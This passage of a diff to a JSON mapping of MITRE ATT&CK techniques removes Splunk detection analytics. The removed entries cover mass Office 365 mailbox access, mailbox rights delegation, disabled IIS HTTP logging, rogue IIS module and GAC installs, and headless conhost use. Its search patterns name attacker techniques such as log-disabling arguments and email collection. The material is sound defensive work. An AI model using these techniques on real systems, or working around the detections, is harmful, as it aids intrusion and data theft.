"security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Multiple Mailboxes Accessed via API", - "description": "The following analytic detects when a high number of Office 365 Exchange mailboxes are accessed via API (Microsoft Graph API or Exchange Web Services) within a short timeframe. It leverages 'MailItemsAccessed' operations in Exchange, using AppId and regex to identify API interactions. This activity is significant as it may indicate unauthorized mass email access, potentially signaling data exfiltration or account compromise. If confirmed malicious, attackers could gain access to sensitive information, leading to data breaches and further exploitation of compromised accounts. The threshold is set to flag over five unique mailboxes accessed within 10 minutes, but should be tailored to your environment.", - "search": " `o365_management_activity` Workload=Exchange Operation=MailItemsAccessed AppId=* ClientAppId=* | bucket span=10m _time | eval matchRegex=if(match(ClientInfoString, \"^Client=WebServices;ExchangeWebServices\"), 1, 0) | search (AppId=\"00000003-0000-0000-c000-000000000000\" OR matchRegex=1) | stats values(ClientIPAddress) as src_ip dc(user) as unique_mailboxes values(user) as user by _time ClientAppId ClientInfoString | where unique_mailboxes > 5 | `o365_multiple_mailboxes_accessed_via_api_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An Oauth application identified with id $ClientAppId$ accessed multiple mailboxes in a short period of time via an API.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 OAuth App Mailbox Access via EWS", - "description": "The following analytic detects when emails are accessed in Office 365 Exchange via Exchange Web Services (EWS) using OAuth-authenticated applications. It leverages the ClientInfoString field to identify EWS interactions and aggregates metrics such as access counts, timing, and client IP addresses, categorized by user, ClientAppId, OperationCount, and AppId. Monitoring OAuth applications accessing emails through EWS is crucial for identifying potential abuse or unauthorized data access. If confirmed malicious, this activity could lead to unauthorized email access, data exfiltration, or further compromise of sensitive information.", - "search": " `o365_management_activity` Workload=Exchange Operation=MailItemsAccessed AppId=* ClientAppId=* | regex ClientInfoString=\"^Client=WebServices;ExchangeWebServices\" | stats count earliest(_time) as firstTime latest(_time) as lastTime values(ClientIPAddress) as src_ip by user ClientAppId OperationCount AppId ClientInfoString | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_oauth_app_mailbox_access_via_ews_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An OAuth application identified with id $ClientAppId$ accesed mailboxes through the Graph API.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 OAuth App Mailbox Access via Graph API", - "description": "The following analytic detects when emails are accessed in Office 365 Exchange via the Microsoft Graph API using the client ID '00000003-0000-0000-c000-000000000000'. It leverages the 'MailItemsAccessed' operation within the Exchange workload, focusing on OAuth-authenticated applications. This activity is significant as unauthorized access to emails can lead to data breaches and information theft. If confirmed malicious, attackers could exfiltrate sensitive information, compromise user accounts, and further infiltrate the organization\u2019s network.", - "search": " `o365_management_activity` Workload=Exchange Operation=MailItemsAccessed AppId=* AppId=00000003-0000-0000-c000-000000000000 | stats count earliest(_time) as firstTime latest(_time) as lastTime values(ClientIPAddress) by user ClientAppId OperationCount AppId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_oauth_app_mailbox_access_via_graph_api_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An OAuth application identified with id $ClientAppId$ accesed mailboxes through the Graph API.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Suspicious Rights Delegation", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Elevated Mailbox Permission Assigned`. This analytic identifies instances where potentially suspicious rights are delegated within the Office 365 environment. Specifically, it detects when a user is granted FullAccess, SendAs, or SendOnBehalf permissions on another users mailbox. Such permissions can allow a user to access, send emails from, or send emails on behalf of the target mailbox. The detection leverages O365 audit logs, focusing on the Add-MailboxPermission operation. By parsing the parameters of this operation, the analytic filters for events where FullAccess, SendAs, or SendOnBehalf rights are granted. It then aggregates this data to capture the source user (who was granted the permissions), the destination user (whose mailbox was affected), the specific operation, and the type of access rights granted. Delegating mailbox rights, especially those as powerful as FullAccess, can pose significant security risks. While there are legitimate scenarios for these permissions, such as an executive assistant needing access to an executives mailbox, there are also malicious scenarios where an attacker or a compromised insider might grant themselves unauthorized access to sensitive mailboxes. Monitoring for these permissions changes is crucial to detect potential insider threats, compromised accounts, or other malicious activities.If the detection is a true positive, it indicates that a user has been granted potentially high-risk permissions on another users mailbox. This could lead to unauthorized access to sensitive emails, impersonation through sending emails as or on behalf of the mailbox owner, or data manipulation by altering or deleting emails. Immediate investigation is required to validate the legitimacy of the permission change and to assess the potential risks associated with the granted access.", - "search": "`o365_management_activity` Operation=Add-MailboxPermission | spath input=Parameters | rename User AS src_user, Identity AS dest_user | search AccessRights=FullAccess OR AccessRights=SendAs OR AccessRights=SendOnBehalf | stats count earliest(_time) as firstTime latest(_time) as lastTime by user src_user dest_user Operation AccessRights |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_rights_delegation_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has delegated suspicious rights $AccessRights$ to user $dest_user$ that allow access to sensitive", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Hosts receiving high volume of network traffic from email server", - "description": "The following analytic identifies hosts receiving an unusually high volume of network traffic from an email server. It leverages the Network_Traffic data model to sum incoming bytes to clients from email servers, comparing current traffic against historical averages and standard deviations. This activity is significant as it may indicate data exfiltration by a malicious actor using the email server. If confirmed malicious, this could lead to unauthorized data access and potential data breaches, compromising sensitive information and impacting organizational security.", - "search": "| tstats `security_content_summariesonly` sum(All_Traffic.bytes_in) as bytes_in from datamodel=Network_Traffic where All_Traffic.dest_category=email_server by All_Traffic.src_ip _time span=1d | `drop_dm_object_name(\"All_Traffic\")` | eventstats avg(bytes_in) as avg_bytes_in stdev(bytes_in) as stdev_bytes_in | eventstats count as num_data_samples avg(eval(if(_time < relative_time(now(), \"@d\"), bytes_in, null))) as per_source_avg_bytes_in stdev(eval(if(_time < relative_time(now(), \"@d\"), bytes_in, null))) as per_source_stdev_bytes_in by src_ip | eval minimum_data_samples = 4, deviation_threshold = 3 | where num_data_samples >= minimum_data_samples AND bytes_in > (avg_bytes_in + (deviation_threshold * stdev_bytes_in)) AND bytes_in > (per_source_avg_bytes_in + (deviation_threshold * per_source_stdev_bytes_in)) AND _time >= relative_time(now(), \"@d\") | eval num_standard_deviations_away_from_server_average = round(abs(bytes_in - avg_bytes_in) / stdev_bytes_in, 2), num_standard_deviations_away_from_client_average = round(abs(bytes_in - per_source_avg_bytes_in) / per_source_stdev_bytes_in, 2) | table src_ip, _time, bytes_in, avg_bytes_in, per_source_avg_bytes_in, num_standard_deviations_away_from_server_average, num_standard_deviations_away_from_client_average | `hosts_receiving_high_volume_of_network_traffic_from_email_server_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } } ], "external_reference": [ @@ -573373,578 +379776,7 @@ } } ], - "possible_detections": [ - { - "name": "Windows Disable Windows Event Logging Disable HTTP Logging", - "description": "The following analytic detects the use of AppCmd.exe to disable HTTP logging on IIS servers. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution events where AppCmd.exe is used with specific parameters to alter logging settings. This activity is significant because disabling HTTP logging can help adversaries hide their tracks and avoid detection by removing evidence of their actions. If confirmed malicious, this could allow attackers to operate undetected, making it difficult to trace their activities and respond to the intrusion effectively.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where NOT (Processes.parent_process_name IN (\"msiexec.exe\", \"iissetup.exe\")) Processes.process_name=appcmd.exe Processes.process IN (\"*set config*\", \"*httplogging*\",\"*dontlog:true*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_windows_event_logging_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to disable IIS HTTP Logging.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components Add New Module", - "description": "The following analytic detects the execution of AppCmd.exe to install a new module in IIS. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as adversaries may use it to install webshells or backdoors, leading to credit card scraping, persistence, and further post-exploitation. If confirmed malicious, this could allow attackers to maintain persistent access, execute arbitrary code, and potentially exfiltrate sensitive information from the compromised web server.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where NOT (Processes.parent_process_name IN (\"msiexec.exe\", \"iissetup.exe\")) Processes.process_name=appcmd.exe Processes.process IN (\"*install *\", \"*module *\") AND Processes.process=\"*image*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_add_new_module_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to install a new IIS module.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components Get-WebGlobalModule Module Query", - "description": "The following analytic identifies the execution of the PowerShell cmdlet Get-WebGlobalModule, which lists all IIS Modules installed on a system. It leverages PowerShell input data to detect this activity by capturing the module names and the image paths of the DLLs. This activity is significant for a SOC because it can indicate an attempt to enumerate installed IIS modules, which could be a precursor to exploiting vulnerabilities or misconfigurations. If confirmed malicious, this could allow an attacker to gain insights into the web server's configuration, potentially leading to further exploitation or privilege escalation.", - "search": "`iis_get_webglobalmodule` | stats count min(_time) as firstTime max(_time) as lastTime by host name image | rename host as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_get_webglobalmodule_module_query_filter`", - "tags": { - "analytic_story": [ - "IIS Components", - "WS FTP Server Critical Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "IIS Modules have been listed on $dest$.", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components Module Failed to Load", - "description": "The following analytic detects when an IIS Module DLL fails to load due to a configuration problem, identified by EventCode 2282. This detection leverages Windows Application event logs to identify repeated failures in loading IIS modules. Such failures can indicate misconfigurations or potential tampering with IIS components. If confirmed malicious, this activity could lead to service disruptions or provide an attacker with opportunities to exploit vulnerabilities within the IIS environment. Immediate investigation is required to determine the legitimacy of the failing module and to mitigate any potential security risks.", - "search": "`wineventlog_application` EventCode=2282 | stats count min(_time) as firstTime max(_time) as lastTime by EventCode dest Name ModuleDll | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_module_failed_to_load_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A new IIS Module has been loaded and should be reviewed on $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows IIS Components New Module Added", - "description": "The following analytic detects the addition of new IIS modules on a Windows IIS server. It leverages the Windows Event log - Microsoft-IIS-Configuration/Operational, specifically EventCode 29, to identify this activity. This behavior is significant because IIS modules are rarely added to production servers, and unauthorized modules could indicate malicious activity. If confirmed malicious, an attacker could use these modules to execute arbitrary code, escalate privileges, or maintain persistence within the environment, potentially compromising the server and sensitive data.", - "search": "`iis_operational_logs` EventCode=29 | stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message | rename ComputerName AS dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iis_components_new_module_added_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A new IIS Module has been loaded and should be reviewed on $dest$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell Add Module to Global Assembly Cache", - "description": "The following analytic detects the addition of a DLL to the Windows Global Assembly Cache (GAC) using PowerShell. It leverages PowerShell Script Block Logging to identify commands containing \"system.enterpriseservices.internal.publish\". This activity is significant because adding a DLL to the GAC allows it to be shared across multiple applications, potentially enabling an adversary to execute malicious code system-wide. If confirmed malicious, this could lead to widespread code execution, privilege escalation, and persistent access across the operating system, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*system.enterpriseservices.internal.publish*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_add_module_to_global_assembly_cache_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was used to install a module to the Global Assembly Cache on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell Disable HTTP Logging", - "description": "The following analytic detects the use of `get-WebConfigurationProperty` and `Set-ItemProperty` commands in PowerShell to disable HTTP logging on Windows systems. This detection leverages PowerShell Script Block Logging, specifically looking for script blocks that reference HTTP logging properties and attempt to set them to \"false\" or \"dontLog\". Disabling HTTP logging is significant as it can be used by adversaries to cover their tracks and delete logs, hindering forensic investigations. If confirmed malicious, this activity could allow attackers to evade detection and persist in the environment undetected.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*get-WebConfigurationProperty*\",\"*Set-ItemProperty*\") AND ScriptBlockText IN (\"*httpLogging*\",\"*Logfile.enabled*\") AND ScriptBlockText IN (\"*dontLog*\", \"*false*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_disable_http_logging_filter`", - "tags": { - "analytic_story": [ - "IIS Components", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to disable or modifying a IIS HTTP logging has occurred on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.002", - "mitre_attack_technique": "Disable Windows Event Logging", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell IIS Components WebGlobalModule Usage", - "description": "The following analytic detects the usage of PowerShell Cmdlets - New-WebGlobalModule, Enable-WebGlobalModule, and Set-WebGlobalModule, which are used to create, enable, or modify IIS Modules. This detection leverages PowerShell Script Block Logging, specifically monitoring EventCode 4104 for these cmdlets. This activity is significant as adversaries may use these lesser-known cmdlets to manipulate IIS configurations, similar to AppCmd.exe, potentially bypassing traditional defenses. If confirmed malicious, this could allow attackers to persist in the environment, manipulate web server behavior, or escalate privileges.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN(\"*New-WebGlobalModule*\",\"*Enable-WebGlobalModule*\",\"*Set-WebGlobalModule*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_iis_components_webglobalmodule_usage_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to enabling, creating or modifying a IIS module has occurred on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Server Software Component GACUtil Install to GAC", - "description": "The following analytic detects the use of GACUtil.exe to add a DLL into the Global Assembly Cache (GAC). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because adding a DLL to the GAC allows it to be called by any application, potentially enabling widespread code execution. If confirmed malicious, this could allow an attacker to execute arbitrary code across the operating system, leading to privilege escalation or persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=gacutil.exe Processes.process IN (\"*-i *\",\"*/i *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_server_software_component_gacutil_install_to_gac_filter`", - "tags": { - "analytic_story": [ - "IIS Components" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to add a module to the global assembly cache.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.004", - "mitre_attack_technique": "IIS Components", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -574781,79 +380613,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Windows ConHost with Headless Argument", - "description": "The following analytic detects the unusual invocation of the Windows Console Host process (conhost.exe) with the undocumented --headless parameter. This detection leverages Endpoint Detection and Response (EDR) telemetry, specifically monitoring for command-line executions where conhost.exe is executed with the --headless argument. This activity is significant for a SOC as it is not commonly used in legitimate operations and may indicate an attacker's attempt to execute commands stealthily. If confirmed malicious, this behavior could lead to persistence, lateral movement, or other malicious activities, potentially resulting in data exfiltration or system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=conhost.exe Processes.process=\"*--headless *\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | 